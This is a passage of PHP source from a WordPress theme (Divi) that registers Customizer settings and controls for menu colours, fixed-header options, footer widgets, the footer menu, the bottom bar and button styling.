				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[mobile_menu_link]',
				array(
					'label'    => esc_html__( 'Text Color', 'Divi' ),
					'section'  => 'et_divi_mobile_menu',
					'settings' => 'et_divi[mobile_menu_link]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[menu_link_active]',
			array(
				'default'           => et_get_option( 'accent_color', '#2ea3f2' ),
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[menu_link_active]',
				array(
					'label'    => esc_html__( 'Active Link Color', 'Divi' ),
					'section'  => 'et_divi_header_primary',
					'settings' => 'et_divi[menu_link_active]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[primary_nav_bg]',
			array(
				'default'           => '#ffffff',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[primary_nav_bg]',
				array(
					'label'    => esc_html__( 'Background Color', 'Divi' ),
					'section'  => 'et_divi_header_primary',
					'settings' => 'et_divi[primary_nav_bg]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[primary_nav_dropdown_bg]',
			array(
				'default'           => et_get_option( 'primary_nav_bg', '#ffffff' ),
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[primary_nav_dropdown_bg]',
				array(
					'label'    => esc_html__( 'Dropdown Menu Background Color', 'Divi' ),
					'section'  => 'et_divi_header_primary',
					'settings' => 'et_divi[primary_nav_dropdown_bg]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[primary_nav_dropdown_line_color]',
			array(
				'default'           => et_get_option( 'accent_color', '#2ea3f2' ),
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[primary_nav_dropdown_line_color]',
				array(
					'label'    => esc_html__( 'Dropdown Menu Line Color', 'Divi' ),
					'section'  => 'et_divi_header_primary',
					'settings' => 'et_divi[primary_nav_dropdown_line_color]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[primary_nav_dropdown_link_color]',
			array(
				'default'           => et_get_option( 'menu_link', 'rgba(0,0,0,0.7)' ),
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[primary_nav_dropdown_link_color]',
				array(
					'label'    => esc_html__( 'Dropdown Menu Text Color', 'Divi' ),
					'section'  => 'et_divi_header_primary',
					'settings' => 'et_divi[primary_nav_dropdown_link_color]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[primary_nav_dropdown_animation]',
			array(
				'default'           => 'fade',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_dropdown_animation',
			)
		);

		$wp_customize->add_control(
			'et_divi[primary_nav_dropdown_animation]',
			array(
				'label'   => esc_html__( 'Dropdown Menu Animation', 'Divi' ),
				'section' => 'et_divi_header_primary',
				'type'    => 'select',
				'choices' => et_divi_dropdown_animation_choices(),
			)
		);

		$wp_customize->add_setting(
			'et_divi[mobile_primary_nav_bg]',
			array(
				'default'           => et_get_option( 'primary_nav_bg', '#ffffff' ),
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[mobile_primary_nav_bg]',
				array(
					'label'    => esc_html__( 'Background Color', 'Divi' ),
					'section'  => 'et_divi_mobile_menu',
					'settings' => 'et_divi[mobile_primary_nav_bg]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[secondary_nav_bg]',
			array(
				'default'           => et_get_option( 'accent_color', '#2ea3f2' ),
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[secondary_nav_bg]',
				array(
					'label'    => esc_html__( 'Background Color', 'Divi' ),
					'section'  => 'et_divi_header_secondary',
					'settings' => 'et_divi[secondary_nav_bg]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[secondary_nav_text_color_new]',
			array(
				'default'           => '#ffffff',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[secondary_nav_text_color_new]',
				array(
					'label'    => esc_html__( 'Text Color', 'Divi' ),
					'section'  => 'et_divi_header_secondary',
					'settings' => 'et_divi[secondary_nav_text_color_new]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[secondary_nav_dropdown_bg]',
			array(
				'default'           => et_get_option( 'secondary_nav_bg', et_get_option( 'accent_color', '#2ea3f2' ) ),
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[secondary_nav_dropdown_bg]',
				array(
					'label'    => esc_html__( 'Dropdown Menu Background Color', 'Divi' ),
					'section'  => 'et_divi_header_secondary',
					'settings' => 'et_divi[secondary_nav_dropdown_bg]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[secondary_nav_dropdown_link_color]',
			array(
				'default'           => et_get_option( 'secondary_nav_text_color_new', '#ffffff' ),
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[secondary_nav_dropdown_link_color]',
				array(
					'label'    => esc_html__( 'Dropdown Menu Text Color', 'Divi' ),
					'section'  => 'et_divi_header_secondary',
					'settings' => 'et_divi[secondary_nav_dropdown_link_color]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[secondary_nav_dropdown_animation]',
			array(
				'default'           => 'fade',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_dropdown_animation',
			)
		);

		$wp_customize->add_control(
			'et_divi[secondary_nav_dropdown_animation]',
			array(
				'label'   => esc_html__( 'Dropdown Menu Animation', 'Divi' ),
				'section' => 'et_divi_header_secondary',
				'type'    => 'select',
				'choices' => et_divi_dropdown_animation_choices(),
			)
		);

		// Setting with no control kept for backwards compatbility.
		$wp_customize->add_setting(
			'et_divi[primary_nav_text_color]',
			array(
				'default'           => 'dark',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'sanitize_hex_color',
			)
		);

		// Setting with no control kept for backwards compatbility.
		$wp_customize->add_setting(
			'et_divi[secondary_nav_text_color]',
			array(
				'default'           => 'light',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'sanitize_hex_color',
			)
		);

		if ( 'on' === et_get_option( 'divi_fixed_nav', 'on' ) ) {
			$wp_customize->add_setting(
				'et_divi[hide_fixed_logo]',
				array(
					'type'              => 'option',
					'capability'        => 'edit_theme_options',
					'transport'         => 'postMessage',
					'sanitize_callback' => 'wp_validate_boolean',
				)
			);

			$wp_customize->add_control(
				'et_divi[hide_fixed_logo]',
				array(
					'label'   => esc_html__( 'Hide Logo Image', 'Divi' ),
					'section' => 'et_divi_header_fixed',
					'type'    => 'checkbox',
				)
			);

			$wp_customize->add_setting(
				'et_divi[minimized_menu_height]',
				array(
					'default'           => '40',
					'type'              => 'option',
					'capability'        => 'edit_theme_options',
					'transport'         => 'postMessage',
					'sanitize_callback' => 'absint',
				)
			);

			$wp_customize->add_control(
				new ET_Divi_Range_Option(
					$wp_customize,
					'et_divi[minimized_menu_height]',
					array(
						'label'       => esc_html__( 'Fixed Menu Height', 'Divi' ),
						'section'     => 'et_divi_header_fixed',
						'type'        => 'range',
						'input_attrs' => array(
							'min'  => 30,
							'max'  => 300,
							'step' => 1,
						),
					)
				)
			);

			$wp_customize->add_setting(
				'et_divi[fixed_primary_nav_font_size]',
				array(
					'default'           => et_get_option( 'primary_nav_font_size', '14' ),
					'type'              => 'option',
					'capability'        => 'edit_theme_options',
					'transport'         => 'postMessage',
					'sanitize_callback' => 'absint',
				)
			);

			$wp_customize->add_control(
				new ET_Divi_Range_Option(
					$wp_customize,
					'et_divi[fixed_primary_nav_font_size]',
					array(
						'label'       => esc_html__( 'Text Size', 'Divi' ),
						'section'     => 'et_divi_header_fixed',
						'type'        => 'range',
						'input_attrs' => array(
							'min'  => 12,
							'max'  => 24,
							'step' => 1,
						),
					)
				)
			);

			$wp_customize->add_setting(
				'et_divi[fixed_primary_nav_bg]',
				array(
					'default'           => et_get_option( 'primary_nav_bg', '#ffffff' ),
					'type'              => 'option',
					'capability'        => 'edit_theme_options',
					'transport'         => 'postMessage',
					'sanitize_callback' => 'et_sanitize_alpha_color',
				)
			);

			$wp_customize->add_control(
				new ET_Divi_Customize_Color_Alpha_Control(
					$wp_customize,
					'et_divi[fixed_primary_nav_bg]',
					array(
						'label'    => esc_html__( 'Primary Menu Background Color', 'Divi' ),
						'section'  => 'et_divi_header_fixed',
						'settings' => 'et_divi[fixed_primary_nav_bg]',
					)
				)
			);

			$wp_customize->add_setting(
				'et_divi[fixed_secondary_nav_bg]',
				array(
					'default'           => et_get_option( 'secondary_nav_bg', '#2ea3f2' ),
					'type'              => 'option',
					'capability'        => 'edit_theme_options',
					'transport'         => 'postMessage',
					'sanitize_callback' => 'et_sanitize_alpha_color',
				)
			);

			$wp_customize->add_control(
				new ET_Divi_Customize_Color_Alpha_Control(
					$wp_customize,
					'et_divi[fixed_secondary_nav_bg]',
					array(
						'label'    => esc_html__( 'Secondary Menu Background Color', 'Divi' ),
						'section'  => 'et_divi_header_fixed',
						'settings' => 'et_divi[fixed_secondary_nav_bg]',
					)
				)
			);

			$wp_customize->add_setting(
				'et_divi[fixed_menu_link]',
				array(
					'default'           => et_get_option( 'menu_link', 'rgba(0,0,0,0.6)' ),
					'type'              => 'option',
					'capability'        => 'edit_theme_options',
					'transport'         => 'postMessage',
					'sanitize_callback' => 'et_sanitize_alpha_color',
				)
			);

			$wp_customize->add_control(
				new ET_Divi_Customize_Color_Alpha_Control(
					$wp_customize,
					'et_divi[fixed_menu_link]',
					array(
						'label'    => esc_html__( 'Primary Menu Link Color', 'Divi' ),
						'section'  => 'et_divi_header_fixed',
						'settings' => 'et_divi[fixed_menu_link]',
					)
				)
			);

			$wp_customize->add_setting(
				'et_divi[fixed_secondary_menu_link]',
				array(
					'default'           => et_get_option( 'secondary_nav_text_color_new', '#ffffff' ),
					'type'              => 'option',
					'capability'        => 'edit_theme_options',
					'transport'         => 'postMessage',
					'sanitize_callback' => 'et_sanitize_alpha_color',
				)
			);

			$wp_customize->add_control(
				new ET_Divi_Customize_Color_Alpha_Control(
					$wp_customize,
					'et_divi[fixed_secondary_menu_link]',
					array(
						'label'    => esc_html__( 'Secondary Menu Link Color', 'Divi' ),
						'section'  => 'et_divi_header_fixed',
						'settings' => 'et_divi[fixed_secondary_menu_link]',
					)
				)
			);

			$wp_customize->add_setting(
				'et_divi[fixed_menu_link_active]',
				array(
					'default'           => et_get_option( 'menu_link_active', '#2ea3f2' ),
					'type'              => 'option',
					'capability'        => 'edit_theme_options',
					'transport'         => 'postMessage',
					'sanitize_callback' => 'et_sanitize_alpha_color',
				)
			);

			$wp_customize->add_control(
				new ET_Divi_Customize_Color_Alpha_Control(
					$wp_customize,
					'et_divi[fixed_menu_link_active]',
					array(
						'label'    => esc_html__( 'Active Primary Menu Link Color', 'Divi' ),
						'section'  => 'et_divi_header_fixed',
						'settings' => 'et_divi[fixed_menu_link_active]',
					)
				)
			);
		}

		$wp_customize->add_setting(
			'et_divi[phone_number]',
			array(
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_html_input_text',
			)
		);

		$wp_customize->add_control(
			'et_divi[phone_number]',
			array(
				'label'   => esc_html__( 'Phone Number', 'Divi' ),
				'section' => 'et_divi_header_information',
				'type'    => 'text',
			)
		);

		$wp_customize->add_setting(
			'et_divi[header_email]',
			array(
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'sanitize_email',
			)
		);

		$wp_customize->add_control(
			'et_divi[header_email]',
			array(
				'label'   => esc_html__( 'Email', 'Divi' ),
				'section' => 'et_divi_header_information',
				'type'    => 'text',
			)
		);

		$wp_customize->add_setting(
			'et_divi[show_footer_social_icons]',
			array(
				'default'           => 'on',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'wp_validate_boolean',
			)
		);

		$wp_customize->add_control(
			'et_divi[show_footer_social_icons]',
			array(
				'label'   => esc_html__( 'Show Social Icons', 'Divi' ),
				'section' => 'et_divi_footer_elements',
				'type'    => 'checkbox',
			)
		);

		$wp_customize->add_setting(
			'et_divi[footer_columns]',
			array(
				'default'           => '4',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_footer_column',
			)
		);

		$wp_customize->add_control(
			'et_divi[footer_columns]',
			array(
				'label'    => esc_html__( 'Column Layout', 'Divi' ),
				'section'  => 'et_divi_footer_layout',
				'settings' => 'et_divi[footer_columns]',
				'type'     => 'select',
				'choices'  => et_divi_footer_column_choices(),
			)
		);

		$wp_customize->add_setting(
			'et_divi[footer_bg]',
			array(
				'default'           => '#222222',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[footer_bg]',
				array(
					'label'    => esc_html__( 'Footer Background Color', 'Divi' ),
					'section'  => 'et_divi_footer_layout',
					'settings' => 'et_divi[footer_bg]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[widget_header_font_size]',
			array(
				'default'           => absint( et_get_option( 'body_header_size', '30' ) ) * .6,
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[widget_header_font_size]',
				array(
					'label'       => esc_html__( 'Header Text Size', 'Divi' ),
					'section'     => 'et_divi_footer_widgets',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 10,
						'max'  => 72,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[widget_header_font_style]',
			array(
				'default'           => et_get_option( 'widget_header_font_style', '' ),
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_font_style',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Font_Style_Option(
				$wp_customize,
				'et_divi[widget_header_font_style]',
				array(
					'label'   => esc_html__( 'Header Font Style', 'Divi' ),
					'section' => 'et_divi_footer_widgets',
					'type'    => 'font_style',
					'choices' => et_divi_font_style_choices(),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[widget_body_font_size]',
			array(
				'default'           => et_get_option( 'body_font_size', '14' ),
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[widget_body_font_size]',
				array(
					'label'       => esc_html__( 'Body/Link Text Size', 'Divi' ),
					'section'     => 'et_divi_footer_widgets',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 10,
						'max'  => 32,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[widget_body_line_height]',
			array(
				'default'           => '1.7',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_float_number',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[widget_body_line_height]',
				array(
					'label'       => esc_html__( 'Body/Link Line Height', 'Divi' ),
					'section'     => 'et_divi_footer_widgets',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 0.8,
						'max'  => 3,
						'step' => 0.1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[widget_body_font_style]',
			array(
				'default'           => et_get_option( 'footer_widget_body_font_style', '' ),
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_font_style',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Font_Style_Option(
				$wp_customize,
				'et_divi[widget_body_font_style]',
				array(
					'label'   => esc_html__( 'Body Font Style', 'Divi' ),
					'section' => 'et_divi_footer_widgets',
					'type'    => 'font_style',
					'choices' => et_divi_font_style_choices(),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[footer_widget_text_color]',
			array(
				'default'           => '#fff',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[footer_widget_text_color]',
				array(
					'label'    => esc_html__( 'Widget Text Color', 'Divi' ),
					'section'  => 'et_divi_footer_widgets',
					'settings' => 'et_divi[footer_widget_text_color]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[footer_widget_link_color]',
			array(
				'default'           => '#fff',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[footer_widget_link_color]',
				array(
					'label'    => esc_html__( 'Widget Link Color', 'Divi' ),
					'section'  => 'et_divi_footer_widgets',
					'settings' => 'et_divi[footer_widget_link_color]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[footer_widget_header_color]',
			array(
				'default'           => et_get_option( 'accent_color', '#2ea3f2' ),
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[footer_widget_header_color]',
				array(
					'label'    => esc_html__( 'Widget Header Color', 'Divi' ),
					'section'  => 'et_divi_footer_widgets',
					'settings' => 'et_divi[footer_widget_header_color]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[footer_widget_bullet_color]',
			array(
				'default'           => et_get_option( 'accent_color', '#2ea3f2' ),
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[footer_widget_bullet_color]',
				array(
					'label'    => esc_html__( 'Widget Bullet Color', 'Divi' ),
					'section'  => 'et_divi_footer_widgets',
					'settings' => 'et_divi[footer_widget_bullet_color]',
				)
			)
		);

		/* Footer Menu */
		$wp_customize->add_setting(
			'et_divi[footer_menu_background_color]',
			array(
				'default'           => 'rgba(255,255,255,0.05)',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[footer_menu_background_color]',
				array(
					'label'    => esc_html__( 'Footer Menu Background Color', 'Divi' ),
					'section'  => 'et_divi_footer_menu',
					'settings' => 'et_divi[footer_menu_background_color]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[footer_menu_text_color]',
			array(
				'default'           => '#bbbbbb',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[footer_menu_text_color]',
				array(
					'label'    => esc_html__( 'Footer Menu Text Color', 'Divi' ),
					'section'  => 'et_divi_footer_menu',
					'settings' => 'et_divi[footer_menu_text_color]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[footer_menu_active_link_color]',
			array(
				'default'           => et_get_option( 'accent_color', '#2ea3f2' ),
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[footer_menu_active_link_color]',
				array(
					'label'    => esc_html__( 'Footer Menu Active Link Color', 'Divi' ),
					'section'  => 'et_divi_footer_menu',
					'settings' => 'et_divi[footer_menu_active_link_color]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[footer_menu_letter_spacing]',
			array(
				'default'           => '0',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[footer_menu_letter_spacing]',
				array(
					'label'       => esc_html__( 'Letter Spacing', 'Divi' ),
					'section'     => 'et_divi_footer_menu',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 0,
						'max'  => 20,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[footer_menu_font_style]',
			array(
				'default'           => et_get_option( 'footer_footer_menu_font_style', '' ),
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_font_style',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Font_Style_Option(
				$wp_customize,
				'et_divi[footer_menu_font_style]',
				array(
					'label'   => esc_html__( 'Font Style', 'Divi' ),
					'section' => 'et_divi_footer_menu',
					'type'    => 'font_style',
					'choices' => et_divi_font_style_choices(),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[footer_menu_font_size]',
			array(
				'default'           => '14',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[footer_menu_font_size]',
				array(
					'label'       => esc_html__( 'Font Size', 'Divi' ),
					'section'     => 'et_divi_footer_menu',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 10,
						'max'  => 32,
						'step' => 1,
					),
				)
			)
		);

		/* Bottom Bar */
		$wp_customize->add_setting(
			'et_divi[bottom_bar_background_color]',
			array(
				'default'           => 'rgba(0,0,0,0.32)',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[bottom_bar_background_color]',
				array(
					'label'    => esc_html__( 'Background Color', 'Divi' ),
					'section'  => 'et_divi_bottom_bar',
					'settings' => 'et_divi[bottom_bar_background_color]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[bottom_bar_text_color]',
			array(
				'default'           => '#666666',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[bottom_bar_text_color]',
				array(
					'label'    => esc_html__( 'Text Color', 'Divi' ),
					'section'  => 'et_divi_bottom_bar',
					'settings' => 'et_divi[bottom_bar_text_color]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[bottom_bar_font_style]',
			array(
				'default'           => et_get_option( 'footer_bottom_bar_font_style', '' ),
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_font_style',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Font_Style_Option(
				$wp_customize,
				'et_divi[bottom_bar_font_style]',
				array(
					'label'   => esc_html__( 'Font Style', 'Divi' ),
					'section' => 'et_divi_bottom_bar',
					'type'    => 'font_style',
					'choices' => et_divi_font_style_choices(),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[bottom_bar_font_size]',
			array(
				'default'           => '14',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[bottom_bar_font_size]',
				array(
					'label'       => esc_html__( 'Font Size', 'Divi' ),
					'section'     => 'et_divi_bottom_bar',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 10,
						'max'  => 32,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[bottom_bar_social_icon_size]',
			array(
				'default'           => '24',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[bottom_bar_social_icon_size]',
				array(
					'label'       => esc_html__( 'Social Icon Size', 'Divi' ),
					'section'     => 'et_divi_bottom_bar',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 10,
						'max'  => 32,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[bottom_bar_social_icon_color]',
			array(
				'default'           => '#666666',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[bottom_bar_social_icon_color]',
				array(
					'label'    => esc_html__( 'Social Icon Color', 'Divi' ),
					'section'  => 'et_divi_bottom_bar',
					'settings' => 'et_divi[bottom_bar_social_icon_color]',
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[disable_custom_footer_credits]',
			array(
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'wp_validate_boolean',
			)
		);

		$wp_customize->add_control(
			'et_divi[disable_custom_footer_credits]',
			array(
				'label'   => esc_html__( 'Disable Footer Credits', 'Divi' ),
				'section' => 'et_divi_bottom_bar',
				'type'    => 'checkbox',
			)
		);

		$wp_customize->add_setting(
			'et_divi[custom_footer_credits]',
			array(
				'default'           => '',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_html_input_text',
			)
		);

		$wp_customize->add_control(
			'et_divi[custom_footer_credits]',
			array(
				'label'    => esc_html__( 'Edit Footer Credits', 'Divi' ),
				'section'  => 'et_divi_bottom_bar',
				'settings' => 'et_divi[custom_footer_credits]',
				'type'     => 'textarea',
			)
		);

		$wp_customize->add_setting(
			'et_divi[all_buttons_font_size]',
			array(
				'default'           => ET_Global_Settings::get_value( 'all_buttons_font_size', 'default' ),
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'absint',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Range_Option(
				$wp_customize,
				'et_divi[all_buttons_font_size]',
				array(
					'label'       => esc_html__( 'Text Size', 'Divi' ),
					'section'     => 'et_divi_buttons',
					'type'        => 'range',
					'input_attrs' => array(
						'min'  => 12,
						'max'  => 30,
						'step' => 1,
					),
				)
			)
		);

		$wp_customize->add_setting(
			'et_divi[all_buttons_text_color]',
			array(
				'default'           => '',
				'type'              => 'option',
				'capability'        => 'edit_theme_options',
				'transport'         => 'postMessage',
				'sanitize_callback' => 'et_sanitize_alpha_color',
			)
		);

		$wp_customize->add_control(
			new ET_Divi_Customize_Color_Alpha_Control(
				$wp_customize,
				'et_divi[all_buttons_text_color]',
				array(
					'label'    => esc_html__( 'Text Color', 'Divi' ),
